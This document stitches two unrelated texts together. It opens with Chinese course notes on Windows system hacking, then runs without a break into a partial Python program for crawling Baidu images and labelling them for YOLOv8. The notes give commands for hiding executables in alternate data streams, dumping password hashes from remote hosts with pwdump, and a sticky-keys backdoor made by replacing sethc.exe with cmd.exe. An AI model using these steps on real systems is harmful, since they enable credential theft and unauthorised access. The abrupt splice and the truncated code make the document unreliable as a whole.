[COURSE_PTHE] 5. 系统Blackbox

本文详细介绍了系统黑盒测试的整体框架、数据流获取、使用ADSSpy检测备用数据流攻击、LCP协议工具双向嗅探用户信息、pwdump破解用户密码、使用X.exe与sethc.exe创建后门程序、以及Snow加密技术隐藏消息。涵盖了Windows环境下的多种攻击与防御手段。

1. 简介:黑盒测试(System Hacking)

  系统黑盒测试包括:获取访问权限、修改系统架构等。该视频包括如何获取权限及防御措施。

 

2. 框架

  该视频介绍系统黑盒测试整体框架。

 

3. 数据流获取(截屏)

  该视频介绍了如何在Window下构建、使用备用数据流及防御被侵入-可以创建隐藏在文本文件中的默认启动项(类似backdoor)。

 1 Windows CMD:
 2 
 3  > notepad hello.txt
 4     ...
 5  > type hello.txt
 6 
 7  > notepad hello.txt:hidden.txt
 8 
 9  > type calc.exe > calc_hidden.txt:calc.exe
10 
11  > more < hello.txt:hidden.txt
12 
13 
14 ## 明文文件:附带隐藏文件
15 ## 只能通过notepad hello.txt:hidden.txt打开看内容,而不能用type指令
16 ## 父文件不存在,隐藏文件也会丢失!!!

 

4. ADS Spy使用

  该视频介绍了如何使用相关工具来检测备用数据流攻击。

 Windows工具包:1. Streams

                        2. ADS Spy GUI

 

5. LCP协议工具

  该视频介绍了如何利用LCP工具来双向(收发)嗅探P2P协议过程,获取Local/Remote Windows用户信息。

  Password auditing and recovery tool for Windows NT/2000/XP/2003. Accounts information import. Passwords recovering by dictionary attack, brute force attack, hybrid of dictionary and brute force attacks. Brute force session distribution. Hashes computing.

Windows工具包:LCP 5.04 ver.

 

6. pwdump使用

  该视频介绍了Dictionary/ForceBrute/Hybrid模式来破解Windows用户密码工具的使用方法。

 1 http://foofus.net/goons/fizzgig/pwdump/downloads.htm
 2 
 3 Windows 2000/XP/2003/Vista/2008 NTLM and LanMan Password Grabber
 4 
 5 windows executable command
 6 
 7 > pwdump.exe hostname
 8 > pwdump.exe [remote ip]
 9 
10 > pwdump.exe [remote ip] >> hash_password.txt

Windows安装包:PWdump

 

7. x.exe使用

  该文简单介绍了如何使用X.exe脚本程序来获得用户访问权限的过程(Backdoor程序-can create a user with group privilege)。

 

8. sethC使用

  在Windows登录界面中启动sethc.exe(cmd.exe)来运行X.exe,创建并获取访问权限。

1   > dir
2   > windows\system32\
3 
4   > copy sethc.exe sethc.exe.back
5   > copy cmd.exe sethc.exe
6 
7   win+l to get out
8   multi press Shift button, will popup cmd

 

 

9. snow使用

  snow是一个Windows/Linux下可伪装信息的文本加密工具。

  1     ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2    ██                                                                       ██
  3   █▌             -   SNOW - HIDE MESSAGES IN A TEXT FILE   -                 █▌
  4  █▌                                                                           █▌
  5  █                                 /\                                         ▐▌
  6  █                            __   \/   __                                    ▐▌
  7  █                            \_\_\/\/_/_/                                    ▐▌
  8  █       \__    __/             _\_\/_/_                                      ▐▌
  9  █       /_/ /\ \_\            __/_/\_\__         __    __                    ▐▌
 10  █      __ \ \/ / __          /_/ /\/\ \_\       /_/ /\ \_\                   ▐▌
 11  █      \_\_\/\/_/_/               /\           __ \ \/ / __                  ▐▌
 12  █  __/\___\_\/_/___/\__           \/           \_\_\/\/_/_/                  ▐▌
 13  █    \/ __/_/\_\__ \/                        /\___\_\/_/___/\                ▐▌
 14  █      /_/ /\/\ \_\                          \/ __/_/\_\__ \/                ▐▌
 15  █       __/ /\ \__                             /_/ /\/\ \_\     _\/\/_       ▐▌
 16  █       \_\ \/ /_/          __/  \__            __/ /\ \__     _\_\/_/_      ▐▌
 17  █       /        \           _\/\/_             \_\ \/ /_/      /_/\_\       ▐▌
 18  █                          \_\_\/_/_/                            /\/\        ▐▌
 19  █                          / /_/\_\ \                                        ▐▌
 20  █                           __/\/\__                                         ▐▌
 21  █                             \  /                                           ▐▌
 22  █                                                                            ▐▌
 23  █ (Snowflakes ASCII art by itz aka Ilmarin Karonen.)                         ▐▌
 24  █                                                                            ▐▌
 25"SNOW (Steganographic Nature Of Whitespace) is a program for concealing    ▐▌
 26  █ messages in text files by appending tabs and spaces on the end of lines,   ▐▌
 27  █ and for extracting messages from files containing hidden messages. Tabs    ▐▌
 28  █ and spaces are invisible to most text viewers, hence the steganographic    ▐▌
 29  █ nature of this encoding scheme. And if the built-in encryption is used,    ▐▌
 30  █ the message cannot be read even if it is detected."                        ▐▌
 31  █                                                                            ▐▌
 32  █ Download the latest version of SNOW from here. It's available for most     ▐▌
 33  █ OSes; Linux, DOS and even a Java applet.                                   ▐▌
 34  █                                                                            ▐▌
 35  █ I have a text file HERE that has an encrypted secret message in it.        ▐▌
 36  █ Even this HTML page you are reading has an encrypted secret message in it. ▐▌
 37  █ Save the text file or this page; right click 'this' and save as if you     ▐▌
 38  █ want to decrypt it.                                                        ▐▌
 39  █                                                                            ▐▌
 40  █ LINUX:                                                                     ▐▌
 41  █ ``````                                                                     ▐▌
 42  █ Prerequisite is GCC to compile SNOW (aptitude install gcc) or Java to use  ▐▌
 43  █ the Java applet then you don't need to compile it.                         ▐▌
 44  █ Check for latest version then download it:                                 ▐▌
 45wget http://www.darkside.com.au/snow/snow-20130616.tar.gz                  ▐▌
 46tar xvzf snow-20130616.tar.gz && cd snow-20130616                          ▐▌
 47  █ Compile it, then you are done: make                                        ▐▌
 48  █                                                                            ▐▌
 49  █ WINDOWS:                                                                   ▐▌
 50  █ ````````                                                                   ▐▌
 51  █ Download the DOS or Java version, unzip it. I'm using the DOS 32bit v.     ▐▌
 52  █ Launch a command prompt window: Press the Windows logo key on your         ▐▌
 53  █ keyboard +r to launch Run, then type in the 'Open' drop down window: cmd   ▐▌
 54  █                                                                            ▐▌
 55  █ Change to the directory containing SNOW.EXE; for example if it is on D     ▐▌
 56  █ drive type in and press enter: D:                                          ▐▌
 57  █ cd D:\Downloads\snwdos32\                                                  ▐▌
 58  █                                                                            ▐▌
 59  █ USAGE:                                                                     ▐▌
 60  █ ``````                                                                     ▐▌
 61  █ To conceal the message 'my secret message' with the password 'OpenSesame'  ▐▌
 62  █ using the file 'infile' and create 'outfile' with the hidden message:      ▐▌
 63  █ ./snow -C -m "my secret message" -p "OpenSesame" infile outfile            ▐▌
 64  █ Window users remove './' from the command line.                            ▐▌
 65  █ Reply might be similar to, if message is long on a small file:             ▐▌
 66  █ Compressed by 40.83%                                                       ▐▌
 67  █ Message exceeded available space by approximately 21.37%.                  ▐▌
 68  █ An extra 1 lines were added.                                               ▐▌
 69  █                                                                            ▐▌
 70  █ To decrypt the hidden message:                                             ▐▌
 71  █ ./snow -C -p "OpenSesame" outfile                                          ▐▌
 72  █                                                                            ▐▌
 73  █ So for example:                                                            ▐▌
 74  █ To decrypt my text file above or this page, put either file in the same    ▐▌
 75  █ directory as snow (or state full path to the file) then:                   ▐▌
 76  █ ./snow -C -p "mewbies" snow_example_encrypted.txt                          ▐▌
 77  █ or                                                                         ▐▌
 78  █ ./snow -C -p "mewbies" how_to_conceal_a_message_in_a_text_file.htm         ▐▌
 79  █                                                                            ▐▌
 80  █ For more information SNOW's manual is here.                                ▐▌
 81  █                                                                            ▐▌
 82  █ LINUX SYSTEM WIDE USAGE:                                                   ▐▌
 83  █ ````````````````````````                                                   ▐▌
 84  █ If you want to have SNOW available system wide:                            ▐▌
 85su                                                                         ▐▌
 86cp snow /usr/local/bin/snow                                                ▐▌
 87  █ exit                                                                       ▐▌
 88  █ cd ~                                                                       ▐▌
 89rm snow-20130616 -rf                                                       ▐▌
 90wget http://mewbies.com/steganography/snow/snow_example.txt                ▐▌
 91  █ snow -C -m "mewbies hidden easter egg is at http://mewbies.com/e.htm" -p   ▐▌
 92"mewbies" snow_example.txt snow_example_encrypted.txt                      ▐▌
 93  █ snow -C -p "mewbies" snow_example_encrypted.txt                            ▐▌
 94  █                                                                            ▐▌
 95  █ WINDOWS SYSTEM WIDE USAGE:                                                 ▐▌
 96  █ ``````````````````````````                                                 ▐▌
 97  █ If you would like to use SNOW without having to change to its directory    ▐▌
 98  █ you only need to:                                                          ▐▌
 991. Place snow.exe where you want to use it permanently.                    ▐▌
1002. Then follow my tutorial 'How To Set Environment Variables'.             ▐▌
101  █                                                                            ▐▌
102//----------------------------------------------------------------------   ▐▌
103  █                                                                            ▐▌
104  █ If you find mistakes, have suggestions, and or questions please post at    ▐▌
105  █ mewbies forum HERE - thank you.                                            ▐▌
106  █                                                                            ▐▌
107  █ Last update on 26 Dec '13                                                  ▐▌

工具包:1. Windows版本-可执行文件

           2. Linux版本-源码

           3. java版本

转载于:https://www.cnblogs.com/webapplee/articles/4850331.html

#!/usr/bin/env python # -*- coding:utf-8 -*- #This Python codes are created by Li hexi for undergraduate student course --maxhine learning #Any copy of the codes is illegal without the author' permission.2021-9-3 #--------This program uses to crawl and download images on some websites ------ import math import imghdr from distutils.command.clean import clean import cv2 import re import time,os import urllib import requests import numpy as np import tkinter as tk import tkinter.filedialog as file import threading as thread import tkinter.messagebox as mes import tkinter.simpledialog as simple from PIL import Image, ImageDraw, ImageFont from tkinter import scrolledtext as st import argostranslate.translate as Translate from h5py.h5a import delete from pypinyin import pinyin, Style from pypinyin import lazy_pinyin, Style from matplotlib import pyplot as plt from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg#导入在tkinter 内嵌入的画布子窗口 from matplotlib.backend_bases import MouseEvent from tkinter import scrolledtext as st from tkinter import ttk from ultralytics import YOLO MainWin = tk.Tk() #常数列表 #FrameWidth=600 #FrameHeight=300 FileLength=0 TagFlag=False TargetVector=[] CrawlFlag=False #ObjectName = ['人','电脑', '手机', '鼠标', '键盘'] #ObjectName=['人','电脑', '键盘', '鼠标', '订书机', '手机', '书', '台灯','杯子','电水壶'] Name80 = ['人', '自行车', '轿车', '摩托', '飞机', '巴士', '火车', '卡车', '船', '交通灯', '消防栓', '停止标志', '咪表', '长凳', '鸟', '猫', '狗', '马', '羊', '奶牛', '象', '熊', '斑马', '长颈鹿', '背包', '伞', '手袋', '领带', '手提箱', '飞碟', '滑板', '滑雪板', '运动球', '风筝', '棒球杆', '棒球手套', '滑板', '冲浪板', '网球拍', '瓶子', '酒杯', '杯子', '叉子', '刀', '勺子', '碗', '香蕉', '苹果', '三文治', '桔子', '西兰花', '胡萝卜', '热狗', '披萨', '甜甜圈', '蛋糕', '椅子', '沙发', '盆景', '床', '餐桌', '厕所', '监视器', '电脑', '鼠标', '遥控器', '键盘', '手机', '微波炉', '烤箱', '烤面包机', '洗碗槽', '冰箱', '书', '钟', '花瓶', '剪刀', '泰迪熊', '干发器', '牙刷'] Name10=['人','电脑','鼠标', '键盘', '订书机', '手机', '书', '台灯','杯子','电水壶'] Name2=['人','电脑'] ObjectName=Name80.copy() MainWin.title('目标检测系统智能体平台') MainWin.geometry('1300x700') MainWin.resizable(width=False,height=False) #========函数区开始=========== def callback1(): filename = file.askopenfilename(title='打开文件名字', initialdir="\image", filetypes=[('jpg文件', '*.jpg'), ('png文件', '.png')]) picshow(filename) def callback2(): #import argostranslate.package #argostranslate.package.update_package_index() #available_packages = argostranslate.package.get_available_packages() #package_to_install = next(p for p in available_packages if p.from_code == "zh" and p.to_code == "en") #argostranslate.package.install_from_path(package_to_install.download()) #text = Translate.translate("蔬菜和水果", "zh", "en") #FileName=text.replace(" ","") text = '紫荆花' pinyin_str = ''.join(lazy_pinyin(text)) print(pinyin_str) # ni hao #print(FileName) def picshow(filename): global GI I1 = cv2.imread(filename) I2 = cv2.resize(I1, (WW, WH)) cv2.imwrite('ImageFile/temp.png', I2) I3 = tk.PhotoImage(file='ImageFile/temp.png') L1 = tk.Label(InputFrame, image=I3) L1.grid(row=1, column=0, columnspan=2, padx=40) GI = I2 MainWin.update() #******************************** #******************************** #以下下是文件操作代码区************* #******************************** #******************************** def LoadImage(): global TargetVector, GI path=os.getcwd() filename = file.askopenfilename(title='打开文件名字', initialdir=path, filetypes=[('jpg文件', '*.jpg'), ('png文件', '.png')]) if len(filename) == 0: return I1 = cv2.imread(filename) I2 = cv2.resize(I1, (WW, WH)) GI = I2 # print(np.shape(GI)) cv2.imwrite('image/temp.png', I2) I3 = tk.PhotoImage(file='image/temp.png') L1 = tk.Label(InputFrame, image=I3) L1.grid(row=1, column=0, columnspan=2, padx=40) s = np.shape(I1) MainWin.mainloop() return def SaveImage(): return #******************************** #******************************** #以下下是图像爬取代码区************* #******************************** #******************************** def StartCrawling(): global CrawlFlag if KeyStr.get()=="": return CrawlFlag=True Thd1 = thread.Thread(target=CrawlPicture, args=(300, 500,)) Thd1.setDaemon(True) Thd1.start() return PauseFlag=False def StopCrawling(): global CrawlFlag CrawlFlag = False return def Suspending(): return def Resuming(): return #******************************** #******************************** #以下下是图像清洗代码区************* #******************************** #******************************** std=None def CleanImage(): global img, recimg, sw, sh, FileLength, pathname, FileNum, filelist, std, ax if std != None: std.destroy() std = None fig.clear() draw_set.draw() OutputFrame.update() curpath = os.getcwd() pathname = file.askdirectory(title='图像文件目录', initialdir=curpath) if len(pathname) == 0: return filelist = os.listdir(pathname) FileLength = len(filelist) DeletFile=[] fig.clear() ax = fig.add_subplot(1, 1, 1, position=[0, 0, 1, 1]) for i in range(FileLength): fstr = pathname + '/' + filelist[i] if imghdr.what(fstr) is not None: #print(fstr) img = cv2.imread(fstr) if np.shape(img) == (): DeletFile.append(fstr) else: s = np.shape(img) sw = s[0] sh = s[1] if s[0] > 1024 or s[1] > 1024: sv = 1024.0 / max(s[0], s[1]) img = cv2.resize(img, (int(sv * s[1]), int(sv * s[0]))) cv2.imwrite(fstr, img) img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ax.imshow(img) draw_set.draw() OutputFrame.update() else: DeletFile.append(fstr) if len(DeletFile) !=0: for i in range(len(DeletFile)): fstr = DeletFile[i] os.remove(fstr) return def ScanImage(): global img, recimg, sw, sh, FileLength, pathname, FileNum, filelist, std, ax if std!=None: std.destroy() std=None fig.clear() draw_set.draw() OutputFrame.update() curpath = os.getcwd() pathname = file.askdirectory(title='图像文件目录', initialdir=curpath) if len(pathname) == 0: return filelist = os.listdir(pathname) FileLength = len(filelist) for i in range(FileLength): fstr = pathname + '/' + filelist[i] img = cv2.imread(fstr) if np.shape(img) == (): os.remove(fstr) filelist = os.listdir(pathname) FileLength = len(filelist) FileNum = 0 fstr = pathname + '/' + filelist[FileNum] img = cv2.imread(fstr) s = np.shape(img) sw = s[0] sh = s[1] if s[0] > 1024 or s[1] > 1024: sv = 1024.0 / max(s[0], s[1]) img = cv2.resize(img, (int(sv * s[1]), int(sv *s[0]))) recimg = np.zeros((sw, sh, 3), dtype=np.uint8) s = np.shape(img) sw = s[0] sh = s[1] img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) fig.clear() ax = fig.add_subplot(1, 1, 1, position=[0, 0, 1, 1]) ax.imshow(img) draw_set.draw() recimg = np.zeros((WH, WW, 3), dtype=np.uint8) fig.canvas.mpl_connect('scroll_event', on_ax_scroll) fig.canvas.mpl_connect('button_press_event', on_ax_click) fig.canvas.mpl_connect('motion_notify_event', on_ax_motion) OutputFrame.update() return def RenameImage(): return def NPZfile(): return #******************************** #******************************** #以下下是图像标注代码区************** #******************************** #******************************** def LoadClassName(): return #批量区域标定 def LabelBatch(): global img, recimg, sw, sh, FileLength, pathname, FileNum, filelist, std2,ax2 global Mflag fig2.clear() draw_set2.draw() InputFrame.update() Lab3.config(text="图片标注结果输出") std2=st.ScrolledText(InputFrame,width=60,height=22,foreground="blue", font=("隶书",12)) std2.grid(row=1, column=0,columnspan=2,padx=10) std2.config(foreground="black", relief="solid",font=("宋体", 12)) std2.delete(0.0, tk.END) InputFrame.update() cwd = os.getcwd() pathname = file.askdirectory(title='图像文件目录', initialdir=cwd) if len(pathname) == 0: return filelist = os.listdir(pathname) FileLength = len(filelist) FileNum = 0 DeletFile=[] for i in range(FileLength): fstr = pathname + '/' + filelist[i] if imghdr.what(fstr) is not None: #print(fstr) img = cv2.imread(fstr) if np.shape(img) == (): DeletFile.append(fstr) else: fstr = DeletFile[i] DeletFile.append(fstr) for i in range(len(DeletFile)): os.remove(fstr) filelist = os.listdir(pathname) FileLength = len(filelist) FileNum = 0 fstr = pathname + '/' + filelist[FileNum] img = cv2.imread(fstr) s = np.shape(img) if s[0] > 1024 or s[1] > 1024: sv = 1024.0 / max(s[0], s[1]) img = cv2.resize(img, (int(sv * s[1]), int(sv * s[0]))) img = cv2.resize(img, (WW, WH)) recimg = np.zeros(img.shape, dtype=np.uint8) s = np.shape(img) sh = s[0] sw = s[1] img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) fig.clear() ax = fig.add_subplot(1, 1, 1, position=[0, 0, 1, 1]) ax.imshow(img) draw_set.draw() recimg = np.zeros((WH, WW, 3), dtype=np.uint8) fig.canvas.mpl_connect('scroll_event', on_ax_scroll) fig.canvas.mpl_connect('button_press_event', on_ax_click) fig.canvas.mpl_connect('motion_notify_event', on_ax_motion) OutputFrame.update() but7.config(state=tk.DISABLED) but8.config(state=tk.DISABLED) Mflag=1 return def LabelEnd(): global LabelData, BoxData if len(BoxData) != 0: LabelData.append(BoxData.copy()) but8.config(state=tk.ACTIVE) return def LabelSave(): global ImageData, LabelData, BoxData cwd = os.getcwd() dir1 = cwd + "\image" if not os.path.exists(dir1): os.mkdir(dir1) startnum = len(os.listdir(dir1)) for i in range(len(ImageData)): fname = dir1 + "\myimage" + str(i + startnum) + ".jpg" myim = cv2.cvtColor(ImageData[i], cv2.COLOR_RGB2BGR) cv2.imwrite(fname, myim) dir1 = cwd + "\label" if not os.path.exists(dir1): os.mkdir(dir1) for i in range(len(ImageData)): fname = dir1 + "\myimage" + str(i + startnum) + ".txt" with open(fname, 'w', encoding='utf-8') as file: for j in range(len(LabelData[i])): txt = str(LabelData[i][j][0]) + " " + str(LabelData[i][j][1]) + " " + str( LabelData[i][j][2]) + " " + str(LabelData[i][j][3]) + " " + str(LabelData[i][j][4]) file.write(txt + '\n') # 添加换行符 file.close() ClearAnn() return #******************************** #******************************** #以下下是图像训练代码区************* #******************************** #******************************** def TrainSetting(): return def TrainStarting(): TrainYoloV8() return def TrainResultShow(): return def SaveTrainResult(): return #******************************** #******************************** #以下下是图像测试代码区************* #******************************** #******************************** def SelectImage(): LoadImage() return def SingleImageTest(): Yolov8SingleDetect() return def ObjectTracking(): Yolov8Detect() return def SaveTestResult(): return #******************************** #******************************** #以下下是操作帮助代码区************* #******************************** #******************************** def HelpPicCrawl(): global std if std != None: std.destroy() fig.clear() draw_set.draw() OutputFrame.update() std = st.ScrolledText(OutputFrame, width=60, height=22, foreground="blue", font=("隶书", 12)) std.grid(row=1, column=0, padx=10) std.config(relief="solid") #std.config(foreground="black", relief="solid", font=("宋体", 13)) std.delete(0.0, tk.END) Lab3.config(text="图片爬取操作指导") HelpStr1="图像爬取操作步骤:\r\n 1)在主题框输入要爬取的主题提示词" \ "\r\n 2)单击《开始爬取》按钮,开始爬取图片,并存在当前目录下" \ "\r\n 3)单击《停止爬取》按钮,停止爬取图片,但爬完当前页才结束"\ "\r\n 4)爬取的图像存在主题词拼音目录下" std.delete(0.0,tk.END) std.insert(tk.END,HelpStr1) return def HelpAnnSave(): return def HelpBatchAnn(): global std if std!=None: std.destroy() fig.clear() draw_set.draw() OutputFrame.update() std = st.ScrolledText(OutputFrame, width=60, height=22, foreground="blue", font=("隶书", 12)) std.config(relief="solid") std.grid(row=1, column=0, padx=10) std.delete(0.0, tk.END) Lab3.config(text="区域标注操作指导") HelpStr3 = "图像区域标注操作步骤:\r\n 1)单击《方框标注》按钮,弹出目录选择对话框,选择图片目录" \ "\r\n 2)计算机会对该目录的图像文件扫描,清洗掉一些格式不对的非图像文件,时间较长" \ "\r\n 3)显示目录下第1幅图像,通过鼠标滚轮,快速浏览目录下的所有图片" \ "\r\n 4)停在所选图片,在要标注的物体左上角按下鼠标左键,选择拉框起点" \ "\r\n 5)按下鼠标左键不放,拖动鼠标拉框,将要标注的物体画到矩形框内" \ "\r\n 6)点击鼠标右键,激活目标选项,滚动鼠标滚轮,浏览目标名称,并停在所选名称" \ "\r\n 7)点击鼠标左键,确认选项,并在文本框内显示类别ID和矩形几何参数" \ "\r\n 8)如果本张图片还有要标定的目标,则重复步骤4-7,继续标注" \ "\r\n 9)更换图片和浏览一样滚动鼠标滚轮,选择图片,然后重复步骤4-7" \ "\r\n 10)结束本次标定,单击《结束标注》按钮" \ "\r\n 11)保存标定结果,单击《保存标注》按钮"\ "\r\n 12)标定的图像保存在\image目录下,标签保存在\label目录下" std.delete(0.0, tk.END) #std.config(foreground="blue", font=("楷体", 12)) std.insert(tk.END, HelpStr3) ########################################## def TagPicture(): return def SpareBut(): global ImageData for i in range(len(ImageData)): cv2.imshow("ls",ImageData[i]) cv2.waitKey(200) return def GetPageURL(URLStr): #获取一个页面的所有图片的URL+下页的URL if not URLStr: print('现在是最后一页啦!爬取结束') return [], '' try: header = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36"} html = requests.get(URLStr,headers=header)#,verify=False) html.encoding = 'utf-8' html = html.text except Exception as e: print("err=",str(e)) ImageURL = [] NextPageURL = '' return ImageURL, NextPageURL ImageURL = re.findall(r'"objURL":"(.*?)",', html, re.S) #print("ImageURL",ImageURL) NextPageURLS = re.findall(re.compile(r'<a href="(.*)" class="n">下一页</a>'), html, flags=0) if NextPageURLS: NextPageURL = 'http://image.baidu.com' + NextPageURLS[0] else: NextPageURL='' return ImageURL, NextPageURL ImageCount=0 def DownLoadImage(pic_urls): """给出图片链接列表, 下载所有图片""" global ImageCount,ImageFilePath, CrawlFlag #print(ImageFilePath) for i,pic_url in enumerate(pic_urls): if not CrawlFlag: return try: pic = requests.get(pic_url, timeout=6) ImageCount=ImageCount+1 #print(ImageCount) string = ImageFilePath+str(ImageCount)+".jpg" with open(string, 'wb') as f: f.write(pic.content) FileStr.set("已下载第"+str(ImageCount)+"图片") DownAddrStr.set(str(pic_url)) #print('成功下载第%s张图片: %s' % (str(i + 1), str(pic_url))) except Exception as e: FileStr.set("下载第"+(str(ImageCount)+"张图片失败")) ImageCount-=1 DownAddrStr.set(e) continue ImageFilePath='' def CrawlPicture(v1,v2): global CrawlFlag,PauseFlag,ImageFilePath,ImageCount while not CrawlFlag: time.sleep(1) ImageCount=0 str1 = os.getcwd() str2 = KeyStr.get() str3 = ''.join(lazy_pinyin(str2)) if str3 == '': str3 = "temp" ImageFilePath = str1 + "\\" + str3+"\\" #print(ImageFilePath) if not os.path.exists(ImageFilePath): os.makedirs(ImageFilePath) else: while os.path.exists(ImageFilePath): str3 = str3 + str(np.random.randint(1, 10000)) ImageFilePath = str1 + "\\" + str3 + "\\" os.makedirs(ImageFilePath) BaiduURL=r'https://image.baidu.com/search/flip?tn=baiduimage&ps=1&ct=201326592&lm=-1&cl=2&nc=1&ie=utf-8&word=' keyword=KeyStr.get() FirstURL=BaiduURL+urllib.parse.quote(keyword,safe='/') ImageURL, NextPageURL= GetPageURL(FirstURL) PageCount = 0 # 累计翻页数 while CrawlFlag: ImageURL, NextPageURL = GetPageURL(NextPageURL) PageCount += 1 CountStr.set(str(PageCount)) if ImageURL!=[]: DownLoadImage(list(set(ImageURL))) if NextPageURL== '': CrawlFlag=False def SetTarget(): global TagFlag, TargetVector TagFlag = True for i in range(10): if (TargetV.get() == i): TargetVector = np.zeros(10) TargetVector[i] = 1.0 print(TargetVector) #按“图像预处理”键,将弹出一个文件目录选择框,你选择一个目录,将列出此目录下的第一个文件,显示在“image"窗口 #然后就可以对此目录下的文件进行批处理 #将鼠标移到“image"窗口,利用鼠标橡皮筋功能裁剪图像,左键按下选择裁剪起点point1 #左键按下并拖动鼠标产生橡皮筋功能的矩形框,抬起选择结束 #点击右键将所选框的图像剪裁出来,并显示新的剪裁窗口”crop" #鼠标移到“crop"窗口,双击左键将将用这个剪裁的图像替代原图像 #鼠标移到“crop"窗口,双击右键将这个剪裁的图像取名另存盘,等于增加一幅图像 #连续选择图像功能,将鼠标移至”image",滚动鼠标的滚轮,在“image"窗口将连续滚动显示打开目录下的图像 #对不想要的图像,双击左键弹出一个确认对话框,选择yes将文件删除 global point1, point2, img, recimg,sw,sh,crop filelist=[]#图片文件列表 FileNum=0 pathname='' ObjectNum=len(ObjectName) Mflag=0#鼠标双功能切换标志 ObjectCode=0 #当前目标的类别代码 centerX=0 #标注矩形框中心的X坐标 centerY=0 #标注矩形框中心的坐标 boxw=0 #标注矩形框的宽度 boxh=0 #标注矩形框的高度 LabelData=[] #每幅图像对应的yolov8的TXT表数据 ImageData=[] #每幅标注的图像数据 BoxData=[]#每幅标注的矩形框数据表 CurImageNum=-1 #当前标定的图像序号 DrawRectangleFlag=False #画矩形标志 def InsertTable(data): global std2 str1 = "ClassID:" + str(data[0]) str2 = " xc:" + str(data[1]) str3 = " yc:" + str(data[2]) str4 = " w:"+str(data[3]) str5 = " h:"+str(data[4]) bbox = str1 + str2 + str3 + str4 + str5 std2.insert(tk.END, bbox) std2.insert(tk.END, '\r\n') return def ClearAnn(): global ImageData, LabelData, BoxData, CurImageNum, DrawRectangleFlag global Mflag, ObjectCode, centerX, centerY, boxw, boxh,std2 ImageData.clear() LabelData.clear() BoxData.clear() Mflag = 0 # 鼠标双功能切换标志 ObjectCode = 0 # 当前目标的类别代码 centerX = 0 # 标注矩形框中心的X坐标 centerY = 0 # 标注矩形框中心的坐标 boxw = 0 # 标注矩形框的宽度 boxh = 0 # 标注矩形框的高度 CurImageNum = -1 # 当前标定的图像序号 DrawRectangleFlag = False # 画矩形标志 std2.delete(0.0,tk.END) return #crop 剪裁窗口的鼠标响应 #双击鼠标左键,用剪裁出来的 def on_mouse2(event, x, y, flags, param): global crop,filelist,FileLength if event == cv2.EVENT_RBUTTONDBLCLK: file1 = file.asksaveasfilename(title='保存文件名字', initialdir="\image", filetypes=[('jpg文件', '*.jpg')]) if file1 == "": return cv2.imwrite(file1+'.jpg', crop) cv2.destroyWindow("crop") filelist = os.listdir(pathname) FileLength = len(filelist) elif event == cv2.EVENT_LBUTTONDBLCLK: fstr = pathname + '/' + filelist[FileNum] cv2.imwrite(fstr, crop) cv2.destroyWindow("crop") #批量标注,就是对某一目录下的同类图片给予一个标注号,首先通过移动滚动条选择图像目标的标注序号 #然后点击“批量标注”按钮,弹出批量标注图像文件的初始目录,可以浏览选择批量标注的新目录 #确定目录后就对整个目录下的图片打“标签”-就是设置为同一序号 def BatchTag(): global SamData, SamTag, ObjectCode, pathname,filelist if ObjectCode is None: mes.showwarning("无标签警告","没有设置标签") return pathname = file.askdirectory(title='批量标注图像文件目录', initialdir='\LhxArt\KerasCnn') if len(pathname) == 0: mes.showwarning("目录选择无效", "没有正确选择目录") return filelist = os.listdir(pathname) FileLength = len(filelist) fstr = pathname + '/' for i in range(FileLength): I1=cv2.imread(fstr+filelist[i]) if np.any(I1): I2=cv2.resize(I1,(ph,pw)) if np.any(I2): SamData.append(I2) SamTag.append(ObjectCode) CountStr.set(str(len(SamData))) ObjectCode=None return def on_ax_click(event): global ax, point1, point2, crop, FileLength, FileNum, pathname,filelist,yimg global CurImageNum, Mflag, centerX, centerY, boxw, boxh, DrawRectangleFlag,std2 if Mflag==1: if event.dblclick and event.button == 1: ans = mes.askyesno("图像删除确认", "确实想删除此图片吗?") if ans: fstr = pathname + '/' + filelist[FileNum] os.remove(fstr) filelist = os.listdir(pathname) FileLength = len(filelist) if FileNum > 0: FileNum -= 1 return elif event.button == 1: point1 = np.array([event.x, WH - event.y]) point2 = point1.copy() return elif event.dblclick and event.button==3: if point1[0] == point2[0] or point1[1] == point2[1]: return h,w=yimg.shape[:2] ymax = int(max(point1[1], point2[1])*(h/WH)) xmax = int(max(point1[0], point2[0])*(w/WW)) xmin = int(min(point1[0], point2[0])*(w/WW)) ymin = int(min(point1[1], point2[1])*(h/WH)) crop = yimg[ymin:ymax, xmin:xmax, :] cv2.imshow('crop', crop) cv2.setMouseCallback('crop', on_cv_mouse2) return elif event.button==3: if DrawRectangleFlag: centerX = np.around((point1[0] + point2[0]) / (2.0 * WW), decimals=5) centerY = np.around((point1[1] + point2[1]) / (2.0 * WH), decimals=5) boxw = np.around(np.abs(point2[0] - point1[0]) / WW, decimals=5) boxh = np.around(np.abs(point2[1] - point1[1]) / WH, decimals=5) DrawRectangleFlag = False Mflag = 2 return elif Mflag==2: if event.button==1: # 左键点击确定点BOX ls = [ObjectCode, centerX, centerY,boxw,boxh] if CurImageNum== FileNum: InsertTable(ls) BoxData.append(ls.copy()) else: fstr = pathname + '/' + filelist[FileNum] std2.insert(tk.END, fstr) std2.insert(tk.END, '\r\n') InsertTable(ls) ImageData.append(img) if len(ImageData)==1: but7.config(state=tk.ACTIVE) BoxData.append(ls.copy()) else: LabelData.append(BoxData.copy()) BoxData.clear() BoxData.append(ls.copy()) CurImageNum = FileNum Mflag = 1 return def on_ax_motion(event): global point1, point2, ax, img, recimg, GI, recimg, newimg,DrawRectangleFlag if event.button == 1: point2 = np.array([event.x, WH - event.y]) cv2.rectangle(recimg, point1, point2, (0, 255, 0), 2) newimg = cv2.bitwise_xor(np.uint8(img), np.uint8(recimg)) ax.imshow(newimg) recimg = np.zeros((WH, WW, 3), dtype=np.uint8) draw_set.draw() OutputFrame.update() DrawRectangleFlag=True return def on_ax_scroll(event): global img, recimg,filelist, FileNum, FileLength, pathname, ax, yimg, point1, newimg, ObjectCode, Mflag if Mflag==1: if pathname == "": return if event.button=="down" : if FileNum > 0: FileNum -= 